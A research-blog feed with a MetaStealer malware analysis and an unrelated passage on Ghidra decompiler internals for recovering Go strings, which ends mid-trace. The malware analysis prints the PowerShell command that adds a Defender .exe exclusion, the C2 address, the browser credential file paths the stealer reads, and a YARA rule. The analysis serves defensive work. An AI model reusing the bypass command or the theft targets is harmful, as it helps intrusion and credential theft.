Metastealer – filling the Racoon void

By: RIFT: Research and Intelligence Fusion Team

Author: Peter Gurney

tl;dr

MetaStealer is a new information stealer variant designed to fill the void following Racoon stealer suspending operations in March of this year. Analysts at Israeli dark web intelligence firm Kela first identified its emergence on underground marketplaces [1] and later as being used in a spam campaign by SANS Internet Storm Centre Handler Brad Duncan [2], where the initial stages and traffic were detailed. This analysis further describes the final MetaStealer payload detailing its functionality.

Significant findings include:

  • Heavy reliance on open-source libraries
  • Microsoft Defender Bypass
  • Scheduled Task Persistence
  • Password Stealer
  • Keylogger
  • Hidden VNC server
 Figure 1 MetaStealer Loader Execution

Technical Analysis

Defender Bypass

Early on in execution, the below command is executed using PowerShell:

powershell -inputformat none -outputformat none –NonInteractive -Command Add-MpPreference -ExclusionExtension "exe"

As can be seen below in Figure 2 the command adds an exclusion rule to Microsoft Defender, effectively turning off scanning of files with ‘.exe’ extension. This decreases the chances of the main payload being detected as well as any subsequent payloads that may be delivered to the target host post infection.

Figure 2 Defender Exclusion

With the Microsoft Defender exclusion in place another PowerShell command is issued that proceeds to rename the original file to a hardcoded value with an .exe extension. In this case {Original filename}.xyz to hyper-v.exe

powershell rename-item -path .xyz -newname hyper-v.exe

Persistence

To maintain persistence, a scheduled task is created using The Component Object Model (COM), a task named sys is created in the folder \Microsoft\Windows’ The task is set to trigger at user login, ensuring the malware remains persistent across reboots.

Figure 3 String de-obfuscation example

String Obfuscation

While several strings from included libraries are visible within the sample, the majority of strings within MetaStealer’s main code are encrypted and only decrypted as needed during runtime. To achieve this, the encrypted strings are moved onto the stack and decrypted with a bitwise XOR operation for use during execution. A Python representation of the routing can be seen below with an example seen below in Figure 4

def swap32(x):
    return int.from_bytes(x.to_bytes(8, byteorder='little'), byteorder='big', signed=False)

def split_hex(input):
    text = hex(input)
    text = text[2:]
    text = text.zfill(len(text) + len(text) % 2)
    output = " ".join(text[i: i+2] for i in range(0, len(text), 2))
    return(output.split(' '))

hexIntXOR = []
hexIntKey = []

hexIntXOR.append(0x4BFB9390)
hexIntXOR.append(0x25C2F251)
hexIntXOR.append(0x11C52ED4)
hexIntXOR.append(0x5CEDBB0D)
hexIntKey.append(0x2489FBF3)
hexIntKey.append(0x25C2973C)
hexIntKey.append(0x11C52ED4)
hexIntKey.append(0x5CEDBB0D)

hexbytesxor = []
hexbyteskey = []

for HexInt in hexIntXOR:
    hexBytes = split_hex(HexInt)
    hexBytes.reverse()
    hexbytesxor = hexbytesxor + hexBytes

for HexInt in hexIntKey:
    hexBytes = split_hex(HexInt)
    hexBytes.reverse()
    hexbyteskey = hexbyteskey + hexBytes

count = 0
for hexByte in hexbytesxor:
    print(chr(int(hexByte, base=16) ^ int(hexbyteskey[count], base=16)), end='')
    count+=1
Figure 4 String de-obfuscation example

Command and Control

PCAPs from the SANS Internet Storm Centre report show that while initial C2 registration traffic was successful, later requests resulted in an HTTP 400 error code reply. Our own tests confirm this behaviour indicating this specific campaign was short-lived with commands no longer issued to new infections. This is likely a direct attempt to limit further analysis of the command and control communication protocol by analysts.

The sample contains a hardcoded Command and Control  server, in this case, 193.106.191[.]162:1775, which is decrypted by the standard string decryption routine described in the previous section.

Connection to the command and control infrastructure is performed over HTTP using the library ‘cpp-httplib’ [3], resulting in the user agent cpp-httplib/0.10.1 being used.

The initial connection is performed to the URL path /api/client/new, decrypted using the XOR routine detailed earlier. This connection is simply a get request with no further information included and expects a reply in JSON format, as can be seen in Figure 5

Figure 5 Registration connection

The UUID in the ok key is used as a BotId and changes on each new registration request.

To parse the JSON string, another open-source library is utilised (Nlohmann JSON [4]), extracting the BotId, which is subsequently written to the file %localappdata%\hyper-v.ver in plaintext allowing the BotId to remain persistent across reboots.

The second request to the command and control server begins with a new JSON object being created utilising the Nlohmann JSON library. The UUID key is populated with the UUID received from the earlier registration request.

Figure 6 get worker request body

The URL path /tasks/get_worker is decrypted and used to make a POST request to the command and control server, including the UUID JSON string. At the time of writing, the server replies to this command with a HTTP 400 error code as seen in Figure 7.

Figure 7 get worker request

The final identified command and control request uses the URL path ‘/tasks/collect’ following the completion of any tasks issued. A POST request is made detailing the success or failure of the task along with additional data such as stolen information or command output.

Command and Control Commands

Command ID Function Description
1001 System Information Spawn cmd.exe process with the command line system info and read output using attached pipes.
1002 Cookie Stealer Access Cookie data from the following locations (location can change based on a currently installed version check): Chrome ‘C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default{\Network (depending on version check) }\Cookies’ Firefox C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\cookies.sqlite Edge C:\Users\{user}\AppData\Local\Microsoft\Edge\User Data\Default{\Network (depending on version check) }\Cookies
1003 Password Stealer Access saved password data from the following locations: Chrome C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default\Login Data Firefox C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\ logins.json / signons.sqlite C:\Users\{user}\AppData\Local\Microsoft\Edge\User Data\Default\LoginData  
1004 Start keylogger Start keylogger on the following applications: ChromeFirefoxNotepad
1005 Stop keylogger Stop Keylogger
1006 Start HVNC Setup Hidden Virtual Network Connection by creating a hidden desktop and network connectivity using sockets through the open-source library Kissnet [5]
1007 Stop HVNC Stop HNVC
1008 Execute Command Execute the given command using a spawned cmd.exe process and read the result using connected pipes.
Table 1 Command and Control Commands

Appendix

IOC’s

  • 193.106.191[.]162:1775
  • cpp-httplib/0.10.1
  • hyper-v.exe

YARA

rule metaStealer_memory {
   meta:
      description = "MetaStealer Memory"
      author = "Peter Gurney"
      date = "2022-04-29"
   strings:
      $str_c2_parse = {B8 56 55 55 55 F7 6D C4 8B C2 C1 E8 1F 03 C2 8B 55 C0 8D 04 40 2B 45 C4}
      $str_filename = ".xyz -newname hyper-v.exe" fullword wide
      $str_stackstring = {FF FF FF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF}
   condition:
      uint16(0) == 0x5a4d and
      2 of ($str_*)
}

References

[1]        https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/

[2]        https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/

[3]        https://github.com/yhirose/cpp-httplib

[4]        https://github.com/nlohmann/json

[5]        https://github.com/Ybalrid/kissnet

✇NCC Group Research

earlyremoval, in the Conservatory, with the Wrench: Exploring Ghidra’s decompiler internals to make automatic P-Code analysis scripts

By: James Chambers

(The version of Ghidra used in this article is 10.1.2. For the Go string recovery tool release, skip ahead to Ghostrings Release.)


Introduction

A well-known issue with reverse engineering Go programs is that the lack of null terminators in Go strings makes recovering string definitions from compiled binaries difficult. Within a compiled Go program, many of the constant string values are stored together in one giant blob, without any terminator characters built into the string data to mark where one string ends and another begins. Even a simple program that just prints “Hello world!” has over 1,500 strings in it related to the Go runtime system and other standard libraries. This can cause typical ASCII string discovery implementations, such as the one provided by Ghidra, to create false positive string definitions that are tens of thousands of characters long.

Instead of null terminated strings, Go uses a string structure that consists of a pointer and length value. Many of these string structures are created on the program’s stack at runtime, so recovering individual string start locations and length values requires analyzing the compiled machine code. There are a few existing scripts that perform this analysis by checking for certain patterns of x86-64 instructions,1 but they miss structures created with unhandled variations of instructions that ultimately have the same effect on the stack, and they’re also restricted to a specific ISA.

I thought this problem presented a good opportunity to leverage the Ghidra decompiler for program analysis. Ideally, the decompiler’s lifted P-Code output would simplify analysis by translating different variations of instructions that write a value to the stack into a single copy operation. With a convenient way to scan for operations that write potential string address and length values to adjacent locations on the stack, the remaining analysis step would be to check if a chunk of memory defined by those address and length values contains only printable ASCII characters. As a bonus, the analysis wouldn’t be restricted to a single ISA, thanks to the many SLEIGH specifications that translate machine code into the initial raw form of P-Code.

However, when I first attempted to implement this analysis, the machine instructions in question didn’t appear to produce any P-Code output at all…

The Case of the Missing P-Code Operations

Consider the following example Go program:

package main
import "fmt"

func main() {
    fmt.Printf("Who killed Mr. COPY?\n")
}

In an x86-64 ELF build of this program, the instructions that set up the string structure on the stack in main.main can be found at addresses 0x48e7c4 through 0x48e7d0:

0048e7c4        LEA        RAX,[DAT_004c584a]
0048e7cb        MOV        qword ptr [RSP + local_48],RAX=>DAT_004c584a
0048e7d0        MOV        qword ptr [RSP + local_40],0x15
0048e7d9        MOV        qword ptr [RSP + local_38],0x0
0048e7e2        XORPS      XMM0,XMM0
0048e7e5        MOVUPS     xmmword ptr [RSP + local_30[0]],XMM0
0048e7ea        CALL       fmt.Fprintf

The address of the string content, 0x4c584a, is written to the stack by the MOV instruction at 0x48e7cb. The string’s length, 0x15, is written to the stack by the MOV instruction at 0x48e7d0.

We can display the raw P-Code for each machine instruction by enabling the P-Code listing field in Ghidra’s code listing:

0048e7c4        LEA        RAX,[DAT_004c584a]
                                     RAX = COPY 0x4c584a:8
0048e7cb        MOV        qword ptr [RSP + local_48],RAX=>DAT_004c584a
                                     $U3800:8 = INT_ADD 16:8, RSP
                                     $Uc000:8 = COPY RAX
                                     STORE ram($U3800:8), $Uc000:8
0048e7d0        MOV        qword ptr [RSP + local_40],0x15
                                     $U3800:8 = INT_ADD 24:8, RSP
                                     $Uc080:8 = COPY 21:8
                                     STORE ram($U3800:8), $Uc080:8

Note that both MOV instructions are translated into an INT_ADD, COPY, and STORE operation sequence in the raw P-Code.

To get the high (analyzed) P-Code output from the decompiler, we can write a script to use the decompiler API. This script decompiles the currently selected function and prints the resulting P-Code operations to the console:

PrintHighPCode.java> Running...
PCode for function main.main @ 0048e790
...
0x48e799:0xb2   (unique, 0xc000, 8) CAST (unique, 0x1000007a, 8)
0x48e799:0xb3   (unique, 0x10000082, 8) CAST (register, 0x20, 8)
0x48e79d:0x11    ---  CBRANCH (ram, 0x48e7f9, 1) , (unique, 0x1000005f, 1)
0x48e79d:0xac   (unique, 0x1000005f, 1) BOOL_AND (register, 0x200, 1) , (register, 0x206, 1)
0x48e7ea:0x3a    ---  CALL (ram, 0x4866f0, 8)
0x48e7ea:0x8c   (ram, 0x5601b0, 8) INDIRECT (ram, 0x5601b0, 8) , (const, 0x3a, 4)
0x48e7f8:0x49    ---  RETURN (const, 0x0, 8)
0x48e7f8:0x8d   (ram, 0x5601b0, 8) COPY (ram, 0x5601b0, 8)
...
PrintHighPCode.java> Finished!

The instructions for setting up the stack address and length are completely missing! In fact, all thirteen instructions leading up to the function call at 0x48e7ea are missing from the P-Code output.

Running the “Decompiler Parameter ID” analyzer provides a small hint as to what’s happening with these instructions. For reference, here’s the analyzer’s description:

Creates parameter and local variables for a Function using Decompiler.
WARNING: This can take a SIGNIFICANT Amount of Time!
         Turned off by default for large programs
You can run this later using "Analysis->Decompiler Parameter ID"

(This analyzer won’t be enabled by default unless the program is a PE binary under 2 MB in size.2 A Windows build of a Go “hello world” program is just over 2 MB, so it’s unlikely to run automatically for a Go binary.)

After the analyzer finishes, some parameters are associated with the fmt.Fprintf function call in the decompiled C code view. Although the call setup is incorrect, some of the missing stack data now appears:

fmt.Fprintf(param_1,param_2,param_3,go.itab.*os.File,io.Writer,param_5,param_6,
            (long)go.itab.*os.File,io.Writer,os.Stdout,(sigaction *)&DAT_004c584a,
            (sigaction *)0x15,0,(sigaction *)0x0,0);

Looking at the decompiler P-Code output again, the CALL op now has those same parameters associated with it, but the P-Code ops for the MOV instructions are still missing:

PrintHighPCode.java> Running...
PCode for function main.main @ 0048e790
...
0x48e79d:0x11    ---  CBRANCH (ram, 0x48e7f9, 1) , (unique, 0x100000d5, 1)
0x48e79d:0xcb   (unique, 0x100000d5, 1) BOOL_AND (register, 0x200, 1) , (register, 0x206, 1)
0x48e7ea:0x3a    ---  CALL (ram, 0x4866f0, 8) , (register, 0x38, 8) , (register, 0x30, 8) , (register, 0x10, 8) , (unique, 0x100000e0, 8) , (register, 0x80, 8) , (register, 0x88, 8) , (unique, 0x10000130, 8) , (ram, 0x5601b0, 8) , (unique, 0x100000d8, 8) , (const, 0x15, 8) , (const, 0x0, 8) , (const, 0x0, 8) , (const, 0x0, 8)
0x48e7ea:0xa7   (ram, 0x5601b0, 8) INDIRECT (ram, 0x5601b0, 8) , (const, 0x3a, 4)
0x48e7ea:0xce   (unique, 0x10000128, 8) PTRSUB (const, 0x0, 8) , (const, 0x4c584a, 8)
0x48e7ea:0xcf   (unique, 0x100000e0, 8) PTRSUB (const, 0x0, 8) , (const, 0x4dc7c0, 8)
0x48e7ea:0xd0   (unique, 0x100000e8, 8) PTRSUB (const, 0x0, 8) , (const, 0x4dc7c0, 8)
0x48e7ea:0xd8   (unique, 0x100000d8, 8) CAST (unique, 0x10000128, 8)
0x48e7ea:0xd9   (unique, 0x10000130, 8) CAST (unique, 0x100000e8, 8)
...
PrintHighPCode.java> Finished!

This suggests that the stack write operations are eaten up by analysis that associates stack values with function calls. This may be due to incorrect function signatures or calling convention definitions, but in the interest of performing automatic analysis, I’d prefer not to have to fix up these definitions when encountering a new Go binary, or any other type of binary that I might want to use P-Code analysis on.

So, what’s actually happening to the raw P-Code ops that represent the machine instructions we’re interested in? Is there any way to get them to appear in the decompiler output?

Simplification Styles

Looking over the DecompInterface class documentation, one method stands out:

public boolean setSimplificationStyle(java.lang.String actionstring)

This allows the application to the type of analysis performed by the decompiler, by giving the name of an analysis class. Right now, there are a few predefined classes. But there soon may be support for applications to define their own class and tailoring the decompiler’s behaviour for that class.

The current predefined analysis class are:

  • “decompile” – this is the default, and performs all analysis steps suitable for producing C code.
  • “normalize” – omits type recovery from the analysis and some of the final clean-up steps involved in making valid C code. It is suitable for creating normalized pcode syntax trees of the dataflow.
  • “firstpass” – does no analysis, but produces an unmodified syntax tree of the dataflow from the
  • “register” – does ???.
  • “paramid” – does required amount of decompilation followed by analysis steps that send parameter measure information for parameter id analysis. raw pcode.

The analysis class descriptions here are limited, but I experimented with the different simplification style options and found that the register and firstpass styles produce P-Code ops for the target MOV instructions. However, the output for these styles is also more cumbersome: the decompile style outputs 24 ops, whereas the firstpass and register styles output over 150.

Here’s how the P-Code ops for the LEA and MOV instructions that produce the string structure look with the register simplification style:

PrintHighPCode.java> Running...
PCode for function main.main @ 0048e790 (simplification style: register)
...
0x48e7c4:0x27   (register, 0x0, 8) COPY (const, 0x4c584a, 8)
0x48e7cb:0x28   (unique, 0x3800, 8) INT_ADD (register, 0x20, 8) , (const, 0xffffffffffffffb8, 8)
0x48e7cb:0x29   (unique, 0xc000, 8) COPY (const, 0x4c584a, 8)
0x48e7cb:0x2a    ---  STORE (const, 0x1b1, 4) , (unique, 0x3800, 8) , (const, 0x4c584a, 8)
0x48e7cb:0x8c   (ram, 0x5601b0, 8) INDIRECT (ram, 0x5601b0, 8) , (const, 0x2a, 4)
0x48e7d0:0x2b   (unique, 0x3800, 8) INT_ADD (register, 0x20, 8) , (const, 0xffffffffffffffc0, 8)
0x48e7d0:0x2c   (unique, 0xc080, 8) COPY (const, 0x15, 8)
0x48e7d0:0x2d    ---  STORE (const, 0x1b1, 4) , (unique, 0x3800, 8) , (const, 0x15, 8)
0x48e7d0:0x8d   (ram, 0x5601b0, 8) INDIRECT (ram, 0x5601b0, 8) , (const, 0x2d, 4)
...
PrintHighPCode.java> Finished!

This output is very similar to the raw P-Code we saw earlier in the code listing. For example, compare the raw P-Code for 0x48e7cb:

MOV    qword ptr [RSP + local_48],RAX=>DAT_004c584a
    $U3800:8 = INT_ADD 16:8, RSP
    $Uc000:8 = COPY RAX
    STORE ram($U3800:8), $Uc000:8

Although this less processed P-Code output isn’t ideal, it appears to be the only readily available option. Let’s see how difficult it is to implement an analysis script based on this simplification style.

Register Style Analysis

The STORE operations appear to be the best targets for analyzing stack writes. The string address value conveniently propagates from the LEA instruction, through RAX, to the input of the P-Code STORE op for the MOV instruction. However, it’s not immediately obvious how to map the STORE output destination “(const, 0x1b1, 4), (unique, 0x3800, 8)” to its stack pointer offset without tracking all of these “unique” space varnodes.3

Digging through the API documentation some more, we can see the VarnodeAST class has a getDef() method that links to the P-Code operation that defined the varnode (if available). Using the Eclipse debugger on the P-Code listing script, we can interactively explore the decompiler output in the Eclipse debug console. Here’s the STORE op that copies the string address to the stack again:

pcodeOpAST.toString()
     (java.lang.String)  ---  STORE (const, 0x1b1, 4) , (unique, 0x3800, 8) , (const, 0x4c584a, 8)

The STORE operation setup is a little weird; instead of having an output, it has two inputs that define the output location. Input 0 is the constant ID of the destination address space, and input 1 is the varnode containing the destination pointer offset. Here’s input 1:

pcodeOpAST.getInput(1)
     (ghidra.program.model.pcode.VarnodeAST) (unique, 0x3800, 8)

Finally, input 1 has a reference to its defining operation – the INT_ADD that calculates an offset from RSP:

pcodeOpAST.getInput(1).getDef()
     (ghidra.program.model.pcode.PcodeOpAST) (unique, 0x3800, 8) INT_ADD (register, 0x20, 8) , (const, 0xffffffffffffffb8, 8)

Since we’d like to know that the constant is written to a location on the stack, the next question is how to map “(register, 0x20, 8)” to the stack pointer register. The Program class has a getRegister (Varnode varnode) method that returns a varnode’s corresponding Register object:

pcodeOpAST.getInput(1).getDef().getInput(0)
 (ghidra.program.model.pcode.VarnodeAST) (register, 0x20, 8)

currentProgram.getRegister(pcodeOpAST.getInput(1).getDef().getInput(0))
 (ghidra.program.model.lang.Register) RSP

The Register class has a getTypeFlags method and TYPE_SP flag constant that would apparently indicate a stack pointer type register. Unfortunately, we’ll have to rely on checking the register name string, as no type flags are set on the RSP register object:

currentProgram.getRegister(pcodeOpAST.getInput(1).getDef().getInput(0)).getTypeFlags()
 (int) 0

To see if a potential address and length value are adjacent to each other on the stack, we also want to determine what the stack offset value is. The STORE destination’s defining op has always been an INT_ADD in the binaries I tested, usually with a stack pointer register as the first input and a constant offset value as the second input. However, the offset input varnode is sometimes a register instead of a constant value, which requires traversing more defining P-Code ops to attempt to recover a constant offset value that the register would hold.

Similarly, the string address constant isn’t always propagated to the input of the STORE operation. For example, the STORE’s input varnode could be a register that the address was loaded into. This happens in a 32-bit ARM binary when the string data address is loaded into a register from the constant pool, and then copied from the register to the stack:

0009af44     ldr    r0,[PTR_DAT_0009af88]                    = 000c580b
                              r0 = LOAD ram(0x9af88:4)
0009af48     str    r0=>DAT_000c580b,[sp,#local_20]
                              $U8280:4 = INT_ADD sp, 12:4
                              STORE ram($U8280:4), r0

Here’s how the register style P-Code output looks for the above ARM instructions:

0x9af44:0x19    (register, 0x20, 4) LOAD (const, 0x1a1, 4) , (const, 0x9af88, 4)
0x9af48:0x1a    (unique, 0x8280, 4) INT_ADD (register, 0x54, 4) , (const, 0xffffffe0, 4)
0x9af48:0x1b     ---  STORE (const, 0x1a1, 4) , (unique, 0x8280, 4) , (register, 0x20, 4)

To handle a register value defined by a LOAD operation we’ll have to check if the data at the load address is recognized as a pointer:

// Register may hold an address
PcodeOp def = dataToStore.getDef();
// Check for LOAD op that loaded an address into the register,
// e.g. getting address from constant pool in ARM 32
if (def != null && def.getOpcode() == PcodeOp.LOAD) {
    int spaceId = (int) def.getInput(0).getOffset();
    long offset = def.getInput(1).getOffset();
    Address loadFrom = program.getAddressFactory().getAddress(spaceId, offset);

    Data dataLoaded = getDataAt(loadFrom);
    if (dataLoaded != null && dataLoaded.isPointer()) {
        candidateAddr = (Address) dataLoaded.getValue();
    }
}

One more API quirk to mention is that constant value varnodes store their value as an address offset in the “constant” address space.

if (varnode.isConstant()) {
    // The constant value is stored as its "address" offset
    long constVal = varnode.getAddress().getOffset();
    // ...
}

Combining this information is enough to make a working Go string analysis script based on scanning STORE operations from the register style P-Code output, but this is much clunkier than the ideal scenario I imagined. Preferably, the P-Code operations would just have a constant length or address value as the input and an address in the stack space as the output.

To figure out why P-Code ops for the target machine instructions disappear completely in the higher-level analysis styles, we’ll have to look into the Ghidra decompiler internals.

Decompiler Internals

The decompiler C++ source code is included with Ghidra in the Ghidra/Features/Decompiler/ directory. After installing the necessary build dependencies, run make doc in Ghidra/Features/Decompiler/src/decompile/cpp to generate the decompiler documentation.

The SetAction class documentation provides slightly better info on the simplification styles than “???”:

  • decompile – The main decompiler action
  • normalize – Decompilation tuned for normalization
  • jumptable – Simplify just enough to recover a jump-table
  • paramid – Simplify enough to recover function parameters
  • register – Perform one analysis pass on registers, without stack variables
  • firstpass – Construct the initial raw syntax tree, with no simplification

Searching for the simplification style names in the source code turns up two of the most important pieces of code to look at. The ActionDatabase::buildDefaultGroups method shows that these simplification styles are defined as groups of analysis rules:

/// (Re)build the default \e root Actions: decompile, jumptable, normalize, paramid, register, firstpass
void ActionDatabase::buildDefaultGroups(void)

{
  if (isDefaultGroups) return;
  groupmap.clear();
  const char *members[] = { "base", "protorecovery", "protorecovery_a", "deindirect", "localrecovery",
                "deadcode", "typerecovery", "stackptrflow",
                "blockrecovery", "stackvars", "deadcontrolflow", "switchnorm",
                "cleanup", "merge", "dynamic", "casts", "analysis",
                "fixateglobals", "fixateproto",
                "segment", "returnsplit", "nodejoin", "doubleload", "doubleprecis",
                "unreachable", "subvar", "floatprecision",
                "conditionalexe", "" };
  setGroup("decompile",members);

  const char *jumptab[] = { "base", "noproto", "localrecovery", "deadcode", "stackptrflow",
                "stackvars", "analysis", "segment", "subvar", "conditionalexe", "" };
  setGroup("jumptable",jumptab);

 const  char *normali[] = { "base", "protorecovery", "protorecovery_b", "deindirect", "localrecovery",
                "deadcode", "stackptrflow", "normalanalysis",
                "stackvars", "deadcontrolflow", "analysis", "fixateproto", "nodejoin",
                "unreachable", "subvar", "floatprecision", "normalizebranches",
                "conditionalexe", "" };
  setGroup("normalize",normali);

  const  char *paramid[] = { "base", "protorecovery", "protorecovery_b", "deindirect", "localrecovery",
                             "deadcode", "typerecovery", "stackptrflow", "siganalysis",
                             "stackvars", "deadcontrolflow", "analysis", "fixateproto",
                             "unreachable", "subvar", "floatprecision",
                             "conditionalexe", "" };
  setGroup("paramid",paramid);

  const char *regmemb[] = { "base", "analysis", "subvar", "" };
  setGroup("register",regmemb);

  const char *firstmem[] = { "base", "" };
  setGroup("firstpass",firstmem);
  isDefaultGroups = true;
}

To clear up some of the terminology: “simplification styles” are also referred to as “root actions” or “groups” in the decompiler source code. They consist of groups of “base groups” such as “stackvars” or “typerecovery”, which are more fine-grained groups of specific analysis operations.

Just below buildDefaultGroups is the universal action list, which lists all analysis operations (“actions” and “rules”) in the order they should run. Each operation is associated with a base group. Operations are enabled when their base group is included in the current root action.

/// Construct the \b universal Action that contains all possible components
/// \param conf is the Architecture that will use the Action
void ActionDatabase::universalAction(Architecture *conf)

{
  vector<Rule *>::iterator iter;
  ActionGroup *act;
  ActionGroup *actmainloop;
  ActionGroup *actfullloop;
  ActionPool *actprop,*actprop2;
  ActionPool *actcleanup;
  ActionGroup *actstackstall;
  AddrSpace *stackspace = conf->getStackSpace();

  act = new ActionRestartGroup(Action::rule_onceperfunc,"universal",1);
  registerAction(universalname,act);

  act->addAction( new ActionStart("base"));
  act->addAction( new ActionConstbase("base"));
  act->addAction( new ActionNormalizeSetup("normalanalysis"));
  act->addAction( new ActionDefaultParams("base"));
  //  act->addAction( new ActionParamShiftStart("paramshift") );
  act->addAction( new ActionExtraPopSetup("base",stackspace) );
  act->addAction( new ActionPrototypeTypes("protorecovery"));
  act->addAction( new ActionFuncLink("protorecovery") );
  act->addAction( new ActionFuncLinkOutOnly("noproto") );
  //... snip ...
  act->addAction( new ActionDynamicSymbols("dynamic") );
  act->addAction( new ActionNameVars("merge") );
  act->addAction( new ActionSetCasts("casts") );
  act->addAction( new ActionFinalStructure("blockrecovery") );
  act->addAction( new ActionPrototypeWarnings("protorecovery") );
  act->addAction( new ActionStop("base") );
}

There are about 220 different actions in the universal list, so instead of going through all of them, I looked for a way to dynamically inspect the decompilation process. There is a way to build the decompiler with a debugging CLI, described in this GitHub issue. In short, once the necessary build dependencies are installed, go to Ghidra/Features/Decompiler/src/decompile/cpp and run make decomp_dbg.

The issue page describes how to save the function data XML payload that Ghidra generates for IPC with the decompiler and load it in the debugging CLI to reproduce a function decompilation. I couldn’t find any overall documentation on the CLI itself, though some of the individual command handler classes have documentation that describes the arguments they take (see the IfaceCommand class documentation for a list of handler classes). Beyond the initial XML loading steps, I had to browse through the code a bit to find my way around the CLI and understand what the debugging trace output meant.

To save a copy of the function data XML from the Ghidra GUI, we can use the “Debug Function Decompilation” option in the Decompile window drop-down menu. From a script we can achieve the same thing with the DecompInterface.enableDebug method:

File debugDump = askFile("Decompiler IPC XML Dump", "Save");
decompIfc.enableDebug(debugDump);

Start decomp_dbg with the SLEIGHHOME environment variable set to the Ghidra install directory. Then load the XML file with the restore command:

$ SLEIGHHOME=/opt/ghidra_10.1.2 ./decomp_dbg
[decomp]> restore /tmp/mystery_printf_main.xml
/tmp/mystery_printf_main.xml successfully loaded: Intel/AMD 64-bit x86

Next we can specify the function to decompile and set trace points on the individual instructions we want to observe analysis actions for. Here I’m including the addresses of the LEA and MOV instructions that set up the string structure on the stack, as well as the call to fmt.Fprintf:

[decomp]> load function main.main
Function main.main: 0x0048e790 
[decomp]> trace address 0x48e7c4
OK (1 ranges)
[decomp]> trace address 0x48e7cb
OK (2 ranges)
[decomp]> trace address 0x48e7d0
OK (3 ranges)
[decomp]> trace address 0x48e7ea
OK (4 ranges)

Now we can use the decompile command to decompile the main.main function and trace the analysis process:

[decomp]> decompile
Decompiling main.main
DEBUG 0: extrapopsetup
0x0048e7ea:52: **
   0x0048e7ea:52: RSP(0x0048e7ea:52) = RSP(free) + #0x8

DEBUG 1: funclink
0x0048e7ea:57: **
   0x0048e7ea:57: u0x10000012(0x0048e7ea:57) = RSP(free) + #0x0
0x0048e7ea:58: **
   0x0048e7ea:58: u0x1000001a:1(0x0048e7ea:58) = *(ram,u0x10000012(0x0048e7ea:57))
0x0048e7ea:3a: call ffmt.Fprintf(free)
   0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58))

DEBUG 2: heritage
0x0048e7ea:5b: **
   0x0048e7ea:5b: RAX(0x0048e7ea:5b) = [create] i0x0048e7ea:3a(free)
0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58))
   0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58),RCX(0x0048e7b4:21),XMM0_Da(0x0048e7e2:31))
0x0048e7ea:5e: **
   0x0048e7ea:5e: RCX(0x0048e7ea:5e) = RCX(0x0048e7b4:21) [] i0x0048e7ea:3a(free)
...

Each trace entry shows the name of the rule that executed (after “DEBUG #”), followed by the list of P-Code transformations it performed. P-Code operations are identified by their target address and “time” value, which distinguishes between multiple P-Code operations for a single native machine instruction (e.g., 0x0048e7ea:3a vs 0x0048e7ea:5b). Double asterisks (“**”) after an address listing mean the op is dead or has no parent basic block (see PcodeOp::printDebug).

For example, this trace shows how the “Propagate Copy” rule replaces a reference to the RAX register with the constant value that was written to it by the COPY op at 0x0048e7c4:27:

DEBUG 5: propagatecopy
0x0048e7cb:29: u0x0000c000(0x0048e7cb:29) = RAX(0x0048e7c4:27)
   0x0048e7cb:29: u0x0000c000(0x0048e7cb:29) = #0x4c584a

To investigate these analysis steps in more detail via the source code, search for the name that appears after “DEBUG”. This name comes from the rule or action’s constructor:

class RulePropagateCopy : public Rule {
public:
  RulePropagateCopy(const string &g) : Rule(g, 0, "propagatecopy") {}   ///< Constructor

The implementation of a rule is found in its class’s applyOp method, e.g. RulePropagateCopy::applyOp.

Some of the trace output is a little cryptic, such as these lines with empty square brackets (“[]”):

0x0048e7ea:95: **
   0x0048e7ea:95: s0xffffffffffffffa0(0x0048e7ea:95) = s0xffffffffffffffa0(0x0048e7ea:39) [] i0x0048e7ea:3a(free)

Looking for the relevant printRaw method that creates the output line can help clarify its meaning. The square brackets happen to refer to INDIRECT operations. The “i”-prefixed address after the brackets shows an iop space address. This address space is used to store pointers to internal P-Code ops. Documentation for the IopSpace class and INDIRECT P-Code op both discuss the meaning of this kind of address:

The varnode input1 is not part of the machine state but is really an internal reference to a specific p-code operator that may be affecting the value of the output varnode. A special address space indicates input1’s use as an internal reference encoding.

The decompiler CLI print spaces command shows the mapping of address prefix characters to address spaces:

[decomp]> print spaces
0 : '#' const constant  small addrsize=8 wordsize=1 delay=0
1 : 'o' OTHER processor small addrsize=8 wordsize=1 delay=0
2 : 'u' unique internal  small addrsize=4 wordsize=1 delay=0
3 : 'r' ram processor small addrsize=8 wordsize=1 delay=1
4 : '%' register processor small addrsize=4 wordsize=1 delay=0
5 : 'f' fspec special   small addrsize=8 wordsize=1 delay=1
6 : 'i' iop special   small addrsize=8 wordsize=1 delay=1
7 : 'j' join special   small addrsize=4 wordsize=1 delay=0
8 : 's' stack spacebase small addrsize=8 wordsize=1 delay=1

Tracing the Decompiler Analysis

Now that we know a bit more about how to interpret the decompiler trace output, we can use it to understand what happens when we decompile the main.main function with a higher-level analysis style. For reference, the full trace of the main.main decompilation follows:

[decomp]> decompile
Decompiling main.main
DEBUG 0: extrapopsetup
0x0048e7ea:52: **
   0x0048e7ea:52: RSP(0x0048e7ea:52) = RSP(free) + #0x8

DEBUG 1: funclink
0x0048e7ea:57: **
   0x0048e7ea:57: u0x10000012(0x0048e7ea:57) = RSP(free) + #0x0
0x0048e7ea:58: **
   0x0048e7ea:58: u0x1000001a:1(0x0048e7ea:58) = *(ram,u0x10000012(0x0048e7ea:57))
0x0048e7ea:3a: call ffmt.Fprintf(free)
   0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58))

DEBUG 2: heritage
0x0048e7ea:5b: **
   0x0048e7ea:5b: RAX(0x0048e7ea:5b) = [create] i0x0048e7ea:3a(free)
